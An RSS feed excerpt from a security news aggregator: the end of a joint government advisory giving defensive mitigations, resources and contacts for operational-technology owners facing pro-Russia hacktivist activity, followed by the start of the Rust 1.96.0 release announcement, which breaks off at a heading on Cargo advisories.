<p>The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="CPGs">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<ul>
<li><strong>Reduce exposure of OT assets to the public-facing internet.</strong> When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>].
<ul>
<li><strong>Asset owners should use attack surface management services </strong>and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.<br><strong>Note:</strong> For more information on attack surface management, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/exposure-reduction" title="Internet Exposure Reduction Guidance">Internet Exposure Reduction Guidance</a>, CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> for U.S. critical infrastructure, and NSA’s <a href="https://www.nsa.gov/Portals/75/documents/resources/everyone/Attack%20Surface%20Management%20copy.pdf" target="_blank" title="Attack Surface Management" data-entity-type="external">Attack Surface Management</a> for the U.S. Defense Industrial Base.</li>
<li><strong>Implement network segmentation between IT and OT networks.</strong> Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementLogicalPhysicalNetworkSegmentation3I" title="CPG 3.I">CPG 3.I</a>].</li>
<li><strong>Consider implementing a firewall and/or virtual private network</strong> if exposure to the internet is necessary for controlling access to devices.
<ul>
<li>Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.</li>
<li>Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.</li>
<li>Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.</li>
<li>Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.</li>
</ul>
</li>
</ul>
</li>
<li><strong>Adopt mature asset management processes</strong>, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ManageOrganizationalAssets2A" title="CPG 2.A">CPG 2.A</a>].
<ul>
<li><strong>Keep remote access services updated </strong>with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
<ul>
<li>Keep VNC systems updated with the latest version available.</li>
</ul>
</li>
<li><strong>Refer to the joint </strong><a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators"><strong>Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</strong></a> to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.</li>
</ul>
</li>
<li><strong>Ensure OT assets use robust authentication procedures.</strong>
<ul>
<li>Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.</li>
<li>Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ChangingDefaultPasswords3A" title="CPG 3.A">CPG 3.A</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B" title="CPG 3.B">CPG 3.B</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C" title="CPG 3.C">CPG 3.C</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>].</li>
<li>Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MonitorUnsuccessfulAutomatedLoginAttempts3E" title="CPG 3.E">CPG 3.E</a>].</li>
<li>Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ProhibitConnectionofUnauthorizedDevices3R" title="CPG 3.R">CPG 3.R</a>].</li>
<li>Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.</li>
</ul>
</li>
<li><strong>Enable control system security features </strong>that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#AdministratorsMaintainSeparateUserandPrivilegedAccounts3G" title="CPG 3.G">CPG 3.G</a>].</li>
<li><strong>Implement and practice business recovery/disaster recovery plans.</strong> Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
<ul>
<li>Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IncidentPlanningandPreparedness6A" title="CPG 6.A">CPG 6.A</a>].</li>
<li>Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainSystemBackupsRestorationAbility3O" title="CPG 3.O">CPG 3.O</a>].</li>
</ul>
</li>
<li><strong>Collect and monitor the traffic of OT assets and networking devices.</strong> This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.</li>
<li><strong>Review configurations for setpoint ranges or tag values </strong>to stay within safe ranges and establish alerting for deviations.</li>
<li><strong>Take a proactive approach in the procurement process</strong> by following the guidance outlined in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
</ul>
<h3>OT Device Manufacturers</h3>
<p>Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a>.</p>
<ul>
<li><strong>Eliminate default credentials and require strong passwords.</strong> The use of default credentials is a top weakness threat actors exploit to gain access to systems.</li>
<li><strong>Mandate MFA for privileged users.</strong> Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.</li>
<li><strong>Practice secure by default principles. </strong>OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
<ul>
<li><strong>Include logging at no additional charge.</strong> Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.</li>
</ul>
</li>
<li><strong>Publish Software Bill of Materials (SBOMs).</strong> Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s <a href="https://www.cisa.gov/sbom" title="Software Bill of Materials">SBOM webpage</a> for more information.</li>
</ul>
<p>Additionally, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="Secure by Design Alert">Secure by Design Alert</a> on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&amp;CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&amp;CK techniques described in this advisory.</p>
<p>To start:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to<strong> </strong><a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<p>Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:</p>
<ul>
<li>CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s <a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators">Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</a> offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.</li>
<li>CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on <a href="https://www.cisa.gov/resources-tools/resources/defending-ot-operations-against-ongoing-pro-russia-hacktivist-activity" title="Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity">Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity</a> that can help organizations protect OT systems from pro-Russia hacktivist activity.</li>
<li>NSA and CISA’s guidance on <a href="https://media.defense.gov/2022/Sep/22/2003083007/-1/-1/0/CSA_ICS_Know_the_Opponent_.PDF" target="_blank" title="Control System Defense: Know the Opponent" data-entity-type="external">Control System Defense: Know the Opponent</a> helps organizations defend OT and ICS assets against malicious cyber activity.</li>
<li>CISA and EPA’s resource page on <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a> to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.
<ul>
<li>For additional guidance, see CISA, EPA, and FBI’s fact sheet on <a href="https://www.cisa.gov/resources-tools/resources/top-cyber-actions-securing-water-systems" title="Top Cyber Actions for Securing Water Systems">Top Cyber Actions for Securing Water Systems</a>.</li>
</ul>
</li>
<li>The Food and Ag-ISAC’s best practices on <a href="https://www.idfa.org/wordpress/wp-content/uploads/2023/07/Food-and-Ag-ISAC-Cybersecurity-Guide-2023_IDFA.pdf" target="_blank" title="Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises" data-entity-type="external">Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises</a> provides recommendations to help mitigate against cyber threats.</li>
<li>DOE and National Association of Regulatory Utility Commissioners <a href="https://www.naruc.org/core-sectors/critical-infrastructure-and-cybersecurity/cybersecurity-for-utility-regulators/cybersecurity-baselines/" target="_blank" title="Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)" data-entity-type="external">Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)</a> webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.</li>
</ul>
<p>Additional resources that apply to this advisory include:</p>
<ul>
<li>EPA’s <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector" data-entity-type="external">Cybersecurity for the Water Sector</a> resource page provides organizations with guidance on implementing basic cyber hygiene practices.</li>
<li>CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals">Cross-Sector Cybersecurity Performance Goals</a> enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.</li>
<li>CISA’s <a href="https://www.cisa.gov/audiences/small-and-medium-businesses/secure-your-business/require-strong-passwords" title="Require Strong Passwords">Require Strong Passwords</a> webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.</li>
<li>CISA, NSA, FBI, EPA, TSA, and international partners’ guidance <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
<li>DOE’s guidance on <a href="https://www.energy.gov/ceser/cyber-informed-engineering" target="_blank" title="Cyber-Informed Engineering" data-entity-type="external">Cyber-Informed Engineering</a> recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.</li>
<li>CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.</li>
<li>CISA, NSA, FBI, and international partners’ guidance on <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a> urges software manufacturers to provide customers with products that are safer and more secure.
<ul>
<li>See more information in these Secure by Design Alerts: <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-manufacturers-can-protect-customers-eliminating-default-passwords" title="How Manufacturers Can Protect Customers by Eliminating Default Passwords">How Manufacturers Can Protect Customers by Eliminating Default Passwords</a> and <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity">How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity</a>.</li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p><strong>U.S. organizations</strong> are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:</p>
<ul>
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov" title="contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472) or your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office" data-entity-type="external">FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" target="_blank" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
</ul>
<p><strong>Australian organizations:</strong> Visit <a href="https://www.cyber.gov.au/" target="_blank" title="cyber.gov.au" data-entity-type="external">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</p>
<p><strong>Canadian organizations:</strong> Report incidents by emailing Cyber Centre at <a href="mailto:contact@cyber.gc.ca" target="_blank" title="contact@cyber.gc.ca">contact@cyber.gc.ca</a>.</p>
<p><strong>New Zealand organizations:</strong> Report cyber security incidents to <a href="mailto:incidents@ncsc.govt.nz" target="_blank" title="incidents@ncsc.govt.nz">incidents@ncsc.govt.nz</a> or call 04 498 7654.</p>
<p><strong>United Kingdom organizations:</strong> Report a significant cyber security incident: <a href="https://report.ncsc.gov.uk/" target="_blank" title="report.ncsc.gov.uk" data-entity-type="external">report.ncsc.gov.uk</a> (monitored 24 hours) or, for urgent assistance, call 03000 200 973.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.</p>
<h2><strong>Version History</strong></h2>
<p><strong>December 09, 2025:</strong> Initial version.</p>
<h2><strong>Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups</strong></h2>
<p>For further information on targeting methodologies for pro-Russia hacktivist groups, see:</p>
<ul>
<li>CISA’s alert <a href="https://www.cisa.gov/news-events/alerts/2025/05/06/unsophisticated-cyber-actors-targeting-operational-technology" title="Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology">Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology</a>;</li>
<li>The joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a>; and</li>
<li>CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Cyber Threat">Russia Cyber Threat</a> webpage.</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a></h2>
<p>The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.</p>
<p><strong>Note:</strong> Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.</p>
<ul>
<li>GRU military unit 74455
<ul>
<li>Sandworm Team</li>
<li>Voodoo Bear</li>
<li>Seashell Blizzard</li>
<li>APT44</li>
</ul>
</li>
<li>Cyber Army of Russia Reborn (CARR)
<ul>
<li>CyberArmy of Russia</li>
<li>Народная CyberАрмия (НКА)</li>
<li>People’s CyberArmy of Russia (PCA)</li>
<li>Russian CyberArmy Team (RCAT)</li>
</ul>
</li>
<li>NoName057(16)
<ul>
<li>NoName057(16) Spain</li>
<li>NoName057(16) Italy</li>
<li>NoName057(16) France</li>
</ul>
</li>
<li>Z-Pentest
<ul>
<li>Z-Pentest Beograd</li>
<li>Z-Pentest Alliance</li>
<li>Z-Alliance</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: Announcing Rust 1.96.0]]></title>
<description><![CDATA[The Rust team is happy to announce a new version of Rust, 1.96.0. Rust is a programming language empowering everyone to build reliable and efficient software.
If you have a previous version of Rust installed via rustup, you can get 1.96.0 with:
$ rustup update stable
If you don't have it already,...]]></description>
<link>https://tsecurity.de/de/3693296/tools/the-rust-programming-language-blog-announcing-rust-1960/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693296/tools/the-rust-programming-language-blog-announcing-rust-1960/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:36 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Rust team is happy to announce a new version of Rust, 1.96.0. Rust is a programming language empowering everyone to build reliable and efficient software.</p>
<p>If you have a previous version of Rust installed via <code>rustup</code>, you can get 1.96.0 with:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>$</span><span> rustup update stable</span></span></code></pre>
<p>If you don't have it already, you can <a href="https://www.rust-lang.org/install.html" rel="external">get <code>rustup</code></a> from the appropriate page on our website, and check out the <a href="https://doc.rust-lang.org/stable/releases.html#version-1960-2026-05-28" rel="external">detailed release notes for 1.96.0</a>.</p>
<p>If you'd like to help us out by testing future releases, you might consider updating locally to use the beta channel (<code>rustup default beta</code>) or the nightly channel (<code>rustup default nightly</code>). Please <a href="https://github.com/rust-lang/rust/issues/new/choose" rel="external">report</a> any bugs you might come across!</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#what-s-in-1-96-0-stable"></a>
What's in 1.96.0 stable</h3>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#new-range-types"></a>
New <code>Range*</code> types</h4>
<p>Many users expect <code>Range</code> and related <code>core::ops</code> types to be <code>Copy</code>, but this is not the case: they implement <code>Iterator</code> directly, and <a href="https://rust-lang.github.io/rust-clippy/rust-1.95.0/index.html#copy_iterator" rel="external">it is a footgun to implement both <code>Iterator</code> and <code>Copy</code> on the same type</a> so this has been avoided. <a href="https://rust-lang.github.io/rfcs/3550-new-range.html" rel="external">RFC3550</a> proposed a set of replacement range types that implement <code>IntoIterator</code> rather than <code>Iterator</code>, meaning they can also be <code>Copy</code>. The standard library portion of that RFC is now stable, introducing:</p>
<ul>
<li><code>core::range::Range</code></li>
<li><code>core::range::RangeFrom</code></li>
<li><code>core::range::RangeInclusive</code></li>
<li>Associated iterators</li>
</ul>
<p>A Rust version in the near future will also add <code>core::range::RangeFull</code> and <code>core::range::RangeTo</code> as re-exports from <code>core::ops</code> (these do not implement <code>Iterator</code> and already implement <code>Copy</code>), and <code>core::range::legacy::*</code> as the new home for the current ranges. Range syntax like <code>0..1</code> still produces the legacy types for now, but will be updated to <code>core::range</code> types in a future edition.</p>
<p>With these stabilizations, it is now possible to store slice accessors in <code>Copy</code> types without splitting <code>start</code> and <code>end</code>:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span class="z-keyword">use</span><span class="z-entity z-name z-namespace"> core</span><span class="z-keyword z-operator">::</span><span class="z-entity z-name z-namespace">range</span><span class="z-keyword z-operator">::</span><span class="z-entity z-name z-type">Range</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>#</span><span>[</span><span>derive</span><span>(</span><span class="z-entity z-name z-type">Clone</span><span>,</span><span class="z-entity z-name z-type"> Copy</span><span>)</span><span>]</span></span>
<span class="giallo-l"><span class="z-keyword">pub</span><span class="z-storage z-type"> struct</span><span class="z-entity z-name z-type"> Span</span><span>(</span><span class="z-entity z-name z-type">Range</span><span>&lt;</span><span class="z-entity z-name z-type">usize</span><span>&gt;</span><span>)</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span class="z-keyword">impl</span><span class="z-entity z-name z-type"> Span</span><span> {</span></span>
<span class="giallo-l"><span class="z-keyword">    pub</span><span class="z-keyword"> fn</span><span class="z-entity z-name z-function"> of</span><span>(</span><span class="z-variable z-language">self</span><span>,</span><span class="z-variable"> s</span><span class="z-keyword z-operator">:</span><span class="z-keyword z-operator"> &amp;</span><span class="z-entity z-name z-type">str</span><span>)</span><span class="z-keyword z-operator"> -&gt;</span><span class="z-keyword z-operator"> &amp;</span><span class="z-entity z-name z-type">str</span><span> {</span></span>
<span class="giallo-l"><span class="z-keyword z-operator">        &amp;</span><span class="z-variable">s</span><span>[</span><span class="z-variable z-language">self</span><span class="z-keyword z-operator">.</span><span class="z-constant z-numeric">0</span><span>]</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>The new <code>RangeInclusive</code> also makes its fields public, unlike the legacy version which avoided exposing the exhausted iterator state. This isn't a concern with the new type since it must be converted to begin iteration.</p>
<p>Library authors should consider making use of <code>impl RangeBounds</code> in public API, which accepts both legacy and new range types. If a concrete type is needed, prefer using new ranges as this will eventually become the default.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#assert-matching-patterns"></a>
Assert matching patterns</h4>
<p>The new macros <code>assert_matches!</code> and <code>debug_assert_matches!</code> check that a value matches a given pattern, panicking with a <code>Debug</code> representation of the value otherwise. These are essentially the same as <code>assert!(matches!(..))</code> and <code>debug_assert!(matches!(..))</code>, but the printed value improves the possibility of diagnosing the failure.</p>
<p>These new macros have not been added to the standard prelude, because they would collide with popular third-party crates that provide macros with the same name. Instead, they should be manually imported from <code>core</code> or <code>std</code> before use.</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span class="z-keyword">use</span><span class="z-entity z-name z-namespace"> core</span><span class="z-keyword z-operator">::</span><span>assert_matches</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">///</span><span class="z-comment"> [Random Number](https://xkcd.com/221/)</span></span>
<span class="giallo-l"><span class="z-keyword">fn</span><span class="z-entity z-name z-function"> get_random_number</span><span>(</span><span>)</span><span class="z-keyword z-operator"> -&gt;</span><span class="z-entity z-name z-type"> u32</span><span> {</span></span>
<span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">    //</span><span class="z-comment z-line z-double-slash z-comment"> chosen by a fair dice roll.</span></span>
<span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">    //</span><span class="z-comment z-line z-double-slash z-comment"> guaranteed to be random.</span></span>
<span class="giallo-l"><span class="z-constant z-numeric">    4</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span class="z-keyword">fn</span><span class="z-entity z-name z-function"> main</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span class="z-entity z-name z-function">    assert_matches!</span><span>(</span><span class="z-entity z-name z-function">get_random_number</span><span>(</span><span>)</span><span>,</span><span class="z-constant z-numeric"> 1</span><span class="z-keyword z-operator">..=</span><span class="z-constant z-numeric">6</span><span>)</span><span>;</span></span>
<span class="giallo-l"><span>}</span></span></code></pre><h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#changes-to-webassembly-targets"></a>
Changes to WebAssembly targets</h4>
<p>WebAssembly targets no longer pass <code>--allow-undefined</code> to the linker which means that undefined symbols when linking are now a linker error instead of being converted to WebAssembly imports from the <code>"env"</code> module. This change prevents modules from linking unless all linking-related symbols are defined to catch bugs earlier and prevent accidental issues with symbol naming or similar.</p>
<p>Undefined linking-related symbols are often indicative of build-time related bugs or misconfiguration. If, however, the old behavior is intended then it can be re-enabled with <code>RUSTFLAGS=-Clink-arg=--allow-undefined</code> or by editing the source code and using <code>#[link(wasm_import_module = "env")]</code> on the block defining the symbol.</p>
<p>This change was <a href="https://blog.rust-lang.org/2026/04/04/changes-to-webassembly-targets-and-handling-undefined-symbols/" rel="external">previously announced</a> on this blog, and now takes effect in Rust 1.96.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#stabilized-apis"></a>
Stabilized APIs</h4>
<ul>
<li><a href="https://doc.rust-lang.org/stable/std/macro.assert_matches.html" rel="external"><code>assert_matches!</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/macro.debug_assert_matches.html" rel="external"><code>debug_assert_matches!</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/panic/struct.AssertUnwindSafe.html#impl-From%3CT%3E-for-AssertUnwindSafe%3CT%3E" rel="external"><code>From&lt;T&gt; for AssertUnwindSafe&lt;T&gt;</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/cell/struct.LazyCell.html#impl-From%3CT%3E-for-LazyCell%3CT,+F%3E" rel="external"><code>From&lt;T&gt; for LazyCell&lt;T, F&gt;</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/sync/struct.LazyLock.html#impl-From%3CT%3E-for-LazyLock%3CT,+F%3E" rel="external"><code>From&lt;T&gt; for LazyLock&lt;T, F&gt;</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/core/range/struct.RangeToInclusive.html" rel="external"><code>core::range::RangeToInclusive</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/core/range/struct.RangeFrom.html" rel="external"><code>core::range::RangeFrom</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/core/range/struct.RangeFromIter.html" rel="external"><code>core::range::RangeFromIter</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/core/range/struct.Range.html" rel="external"><code>core::range::Range</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/core/range/struct.RangeIter.html" rel="external"><code>core::range::RangeIter</code></a></li>
</ul>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#two-cargo-advisories"></a>
Two Cargo advisories</h4>
<p>Rust 1.96 contains fixes for two vulnerabilities for users of third-party registries.</p>
<ul>
<li>
